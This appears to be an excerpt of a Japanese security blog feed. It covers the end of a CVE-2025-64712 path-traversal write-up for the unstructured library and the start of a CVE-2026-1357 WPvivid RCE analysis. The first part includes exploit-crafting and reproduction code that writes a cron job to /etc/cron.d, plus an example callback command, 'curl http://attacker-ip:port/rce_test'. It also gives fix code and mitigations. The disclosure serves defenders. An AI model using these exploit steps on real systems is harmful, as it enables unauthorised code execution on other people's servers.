            &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;long_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;read_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;long_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;short_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;read_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;short_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;all_names&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;all_names&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"    Available attachment(s): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;', '&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;repr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all_names&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;similarity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;best&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_names&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;similarity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;similarity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;best&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"    Did you mean: '&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;best&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;' ?"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;[&amp;checkmark;] Saved to: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;output_path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;  (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;renamed&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; attachment(s) renamed)"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;SNIP&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="添付ファイル名の名前変更の成功" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-02-18_cve_2025_64712/2026-02-23_10-51.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="ステップ3:テスト環境のセットアップ"&gt;ステップ3：テスト環境のセットアップ&lt;/h3&gt;
&lt;p&gt;この欠陥を再現するために、制御された環境（通常はDockerコンテナ）を使って、unstructuredライブラリの脆弱なバージョン（v0.18.15）を実行します。重要なprocess_attachments=Trueフラグを有効にしてpartition_msg関数を呼び出す、シンプルなPythonラッパーを書きます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unstructured.partition.msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;partition_msg&lt;/span&gt;

&lt;span class="c1"&gt;# Disable the digit limit that causes parser crashes&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;hasattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'set_int_max_str_digits'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_int_max_str_digits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;process_msg&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"[*] Handing exploit.msg to partition_msg()..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# This triggers the vulnerable function:&lt;/span&gt;
        &lt;span class="n"&gt;partition_msg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"payload.msg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;process_attachments&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# We catch the exception because the parser often crashes &lt;/span&gt;
        &lt;span class="c1"&gt;# AFTER the file is written due to OLE sector math errors.&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"[!] Parser finished with: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# THE FINAL VERDICT&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/etc/cron.d/backup_job"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;"="&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"!!! VULNERABILITY REPRODUCED !!!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"The library  wrote successfuly to '/etc/cron.d/backup_job'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/etc/cron.d/backup_job"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"r"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"File content: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"="&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;[-] Exploit failed: /etc/cron.d/backup_job not found."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"__main__"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;process_msg&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ4:悪用とrce"&gt;ステップ4：悪用とRCE&lt;/h3&gt;
&lt;p&gt;再現スクリプトが悪意のある&lt;strong&gt;payload.msg&lt;/strong&gt;を処理すると、ライブラリは添付ファイルを展開します。サニタイズが欠けているため、ライブラリはトラバーサル文字列を内部パスに結合し、ホストのシステムディレクトリへ直接ファイルを書き込みます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ファイルの書き込み&lt;/strong&gt;：ライブラリは攻撃者のスクリプトを/etc/cron.d/backup_jobに書き込みます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コマンドの実行&lt;/strong&gt;：システムのcronデーモンが新しいジョブを拾い上げます。このジョブには、たとえば次のようなコマンドが含まれている可能性があります：curl http://attacker-ip:port/rce_test.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果&lt;/strong&gt;：攻撃者は自身のサーバーで受信リクエストを観測し、標的システム上で任意のコードを実行できるようになったことを確認します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="cronジョブを介したリモートコード実行" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-02-18_cve_2025_64712/rce.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="unstructuredライブラリにおけるcve-2025-64712の修正方法"&gt;UnstructuredライブラリにおけるCVE-2025-64712の修正方法&lt;/h2&gt;
&lt;p&gt;環境を保護する最も効果的な方法は、&lt;strong&gt;Unstructuredバージョン0.18.18&lt;/strong&gt;以降に更新することです。この修正では、危険なパス構成要素を取り除く堅牢なサニタイズ処理が導入されています。&lt;/p&gt;
&lt;h3 id="修正済みコードの解析"&gt;修正済みコードの解析&lt;/h3&gt;
&lt;p&gt;パッチ適用版には、UnixとWindowsの両方のパス区切り文字についてファイル名をクリーンにするロジックが含まれるようになりました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# The updated, safe logic in v0.18.18+&lt;/span&gt;
&lt;span class="n"&gt;raw_filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attachment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;"unknown"&lt;/span&gt; 

&lt;span class="c1"&gt;# Remove path components and handle cross-platform attacks&lt;/span&gt;
&lt;span class="n"&gt;safe_filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_filename&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; 

&lt;span class="c1"&gt;# Strip null bytes and control characters&lt;/span&gt;
&lt;span class="n"&gt;safe_filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;safe_filename&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\0&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 

&lt;span class="c1"&gt;# Ensure the filename isn't empty or just dots&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;safe_filename&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;safe_filename&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;".."&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; 
    &lt;span class="n"&gt;safe_filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"unknown"&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="cve-2025-64712の緩和策とベストプラクティス"&gt;CVE-2025-64712の緩和策とベストプラクティス&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;今すぐ更新する&lt;/strong&gt;：メール処理にunstructuredを使っている場合は、バージョン&lt;strong&gt;0.18.18&lt;/strong&gt;以降になっていることを確認してください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入力をサニタイズする&lt;/strong&gt;：外部ファイルから提供されるファイル名を扱う際は、常にos.path.basename()を使ってください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権限の確認&lt;/strong&gt;：処理スクリプトは、必要最小限の権限で実行し、ファイル書き込みの潜在的な脆弱性による影響を抑えてください。&lt;/li&gt;
&lt;/ul&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Unstructured CVE-2025-64712&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-gm8q-m8mv-jj5m"&gt;https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-gm8q-m8mv-jj5m&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Unstructured Fix&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/Unstructured-IO/unstructured/compare/0.18.15...0.18.18"&gt;https://github.com/Unstructured-IO/unstructured/compare/0.18.15...0.18.18&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NVD&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-64712"&gt;https://nvd.nist.gov/vuln/detail/CVE-2025-64712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/22.html"&gt;https://cwe.mitre.org/data/definitions/22.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="security"/><category term="CVE"/><category term="RCE"/><category term="vulnerability"/><category term="cve-news"/></entry><entry><title>CVE-2026-1357：WPvividバックアッププラグインにおける認証不要のRCE</title><link href="https://blog.ostorlab.co/ja/cve-2026-1357-unauthenticated-rce-wpvivid.html" rel="alternate"/><published>2026-02-20T08:00:00+01:00</published><updated>2026-02-20T08:00:00+01:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-02-20:/ja/cve-2026-1357-unauthenticated-rce-wpvivid.html</id><summary type="html">&lt;p&gt;CVSS 9.8のクリティカルな認証不要のリモートコード実行脆弱性であるCVE-2026-1357の技術解説です。WPvivid Backup &amp;amp; Migrationプラグイン（≤ 0.9.123）に存在し、暗号処理のフェイルオープンとサニタイズされていないパストラバーサルという2つの連鎖する不備により、認証情報なしで任意のファイル書き込みとシェルのアップロードが可能になります。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2026-1357&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;WPvividバックアッププラグインにおける認証不要のRCE&lt;/p&gt;
&lt;p&gt;2026年2月17日 &amp;middot; CVSS 9.8 クリティカル &amp;middot; WPvivid &amp;le; 0.9.123&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正バージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-1357&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9.8 クリティカル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;le; 0.9.123&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.9.124+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="1. 深みへ:wpvivid backup and migrationプラグインの脆弱性概要"&gt;1. &lt;strong&gt;深みへ：WPvivid Backup and Migrationプラグインの脆弱性概要&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;WPvivid Backup &amp;amp; Migrationは、WordPressのあちこちで見かけるプラグインの一つで、300,000件を超えるアクティブインストール数と堅実なレビューを持ち、バックアップ、移行、ステージングを扱います。ごくありふれたものです。これを興味深いものにしたのは、ある一つの機能でした。暗号化されたバックアップデータをサイト間で送り合える&lt;strong&gt;Remote Backup Transfer&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;ここでは&lt;em&gt;暗号化&lt;/em&gt;という言葉が大きな意味を担っています。CVE-2026-1357が9.8のクリティカル評価で公開されたとき、この機能が侵入口でした。本稿は、この脆弱性がどのように機能するのかを技術的に解説するものです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="2. 暗号化だったはずのもの:cve-2026-1357におけるwpvividのrsaフェイルオープンの分析"&gt;2. &lt;strong&gt;暗号化だったはずのもの：CVE-2026-1357におけるWPvividのRSAフェイルオープンの分析&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;最初の不備は&lt;code&gt;includes/class-wpvivid-crypt.php&lt;/code&gt;の&lt;code&gt;decrypt_message()&lt;/code&gt;関数内にあります。このプラグインはRSA + AESのハイブリッド方式を採用しており、RSA鍵で対称鍵を復号し、その鍵でペイロードを復号します。&lt;/p&gt;
&lt;p&gt;これは安全ではありません。以下が脆弱なコードです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// class-wpvivid-crypt.php  (v0.9.123)&lt;/span&gt;
&lt;span class="x"&gt;public function decrypt_message($message) {&lt;/span&gt;
&lt;span class="x"&gt;    $rsa = new Crypt_RSA();&lt;/span&gt;
&lt;span class="x"&gt;    $rsa-&amp;gt;loadKey($this-&amp;gt;public_key);&lt;/span&gt;
&lt;span class="x"&gt;    $key = $rsa-&amp;gt;decrypt($key);       // Returns FALSE on invalid key&lt;/span&gt;
&lt;span class="x"&gt;    $rij = new Crypt_Rijndael();&lt;/span&gt;
&lt;span class="x"&gt;    $rij-&amp;gt;setKey($key);               // BUG: no check, sets FALSE as key&lt;/span&gt;
&lt;span class="x"&gt;    return $rij-&amp;gt;decrypt($data);      // Decrypts with null-byte key&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;RSAの復号が失敗すると、&lt;code&gt;$rsa-&amp;gt;decrypt()&lt;/code&gt;は&lt;code&gt;FALSE&lt;/code&gt;を返します。その戻り値は一切チェックされません。そのまま&lt;code&gt;setKey()&lt;/code&gt;に渡されます。&lt;/p&gt;
